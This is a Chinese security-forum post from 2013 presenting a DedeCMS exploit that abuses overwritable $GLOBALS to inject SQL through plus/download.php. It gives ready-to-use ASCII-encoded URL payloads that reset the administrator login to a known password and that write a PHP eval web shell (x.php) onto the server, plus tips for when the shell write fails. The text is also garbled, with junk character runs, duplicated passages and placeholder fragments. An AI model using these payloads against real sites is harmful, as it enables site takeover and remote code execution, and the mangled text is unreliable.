找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2725|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
( m8 `& ~+ q" h( P0 k7 G8 ~1 {8 A6 X补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?8 u1 w4 T- Y) \3 h, R8 f' n
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。' _9 i1 B! g' v/ o8 P% w$ A- G2 w
include/dedesql.class.php
0 K9 m9 |# S% K. h& a. Iif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。* i( y1 P) c/ N: W& P* p, t2 r6 X* y
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
+ q: E8 q0 L: ]; ?/ |  h而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
$ m- n! C! ?0 Z) Z! gplus/download.php! `0 l  E# e3 p: [! ?3 A- {5 S
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):/ t5 l3 \9 D6 ?& a, R9 D
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
+ M: A3 H9 r" j- W/ f$ P' x! @UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:" t# ^- ~2 B3 n1 ^2 g: `
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
6 N7 G7 g. H& V" ?, L漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
- n  c* j$ K1 A* x5 M# f如果找不到后台,参见以前修改数据库直接拿SHELL的方法4 ?9 w+ t. `; Z% n
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。7 W' {& \) [) @( t$ @+ U
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?, G7 s2 G. w: g% N/ g- P
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。/ D* z( Q$ j  l4 i
include/dedesql.class.php+ X; T7 ~6 D" F6 H
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。' f% J( M% h6 K+ R4 z
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2# O: W$ j% C, V$ B2 q8 e
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
* T( L$ W# }) _# M  vplus/download.php
( v( P* y- s" _8 h' y! h+ delse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):( v; A5 Z5 I4 Z6 R( g' M/ I4 S) B1 `
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
' I5 L0 I3 }/ ]7 g/ i) u+ o% ~9 F  LUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:: y3 p) @  Y/ W  o5 S% A
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
- `) F$ m3 F- N* u9 K; J漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。9 H8 F6 ~* S9 \& s. A& U/ o
如果找不到后台,参见以前修改数据库直接拿SHELL的方法% _9 A" k( o* y4 _5 b2 W
___FCKpd___6getshell:
. h% c  A/ }5 w; O% P) Ehttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m. a1 c$ B, V3 f+ Y6 d
http://127.0.0.1/plus/x.php4 l4 v/ y; ~2 C2 r
update成功后还要访问下 /plus/mytag_js.php?aid=1
  q7 I( W! R% Z# n失败原因:
: V" n3 @4 t: Z# R测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
) D! f  Q- ]+ Y% K' z& V配图:4 v7 F" L7 c4 M  o5 G- `
1.查看dede当前版本
; U' g  b  {7 x6 U# M3 _
  B: r& N& x3 g$ f4 B- G2.执行exp. B& s. m+ y) H& P6 \

; I. p" B9 ]8 shttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
& \1 J) d' T* [7 G) q
% z4 F% o- m* m( j1 z% {spider密码admin
# ^" `1 G6 y* T. ^* t1 J$ P( z* Q8 o/ i: f+ C8 [! K
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png: z+ c* m) Y- _
原作者:imspider  c8 p. ^& _& {- H; s% q1 Q

% B, E: B3 z, j+ S* j本博客测试+配图+getshell" Q' r, K) o3 _6 N/ t) ~3 w
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
0 V5 m. V  G4 F/ K7 Z  R; g) `; I# y- s' w
getshell:
% E- ^8 ]7 T; b. ]___FCKpd___7会在plus目录生成 x.php 密码 m
5 o$ I6 u/ D& vhttp://127.0.0.1/plus/x.php
  k  w! |6 f; s4 O1 rupdate成功后还要访问下 /plus/mytag_js.php?aid=1
9 \" u; l: E3 _+ P3 T- V- ^失败原因:
  f3 L3 u  u& L; G! b测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)! s0 k, M# T7 o7 u4 L7 U
配图:
0 l# B% R" X) u4 d* y) ~/ x: q9 f1.查看dede当前版本3 h  y) n, m" j9 z- ^2 U+ d* o
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png0 U- |/ T' L/ B; m) }$ }: E) Y
2.执行exp; a! S5 w) V) h1 |
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台" ^9 U) ^6 F* e6 a* w3 w: m# ^
spider密码admin6 V; X) [' }9 N& a3 ^
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png  {4 ~# M# G4 n1 c" j  C$ i

! ?2 H0 ?7 F- D" h% J( U. s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表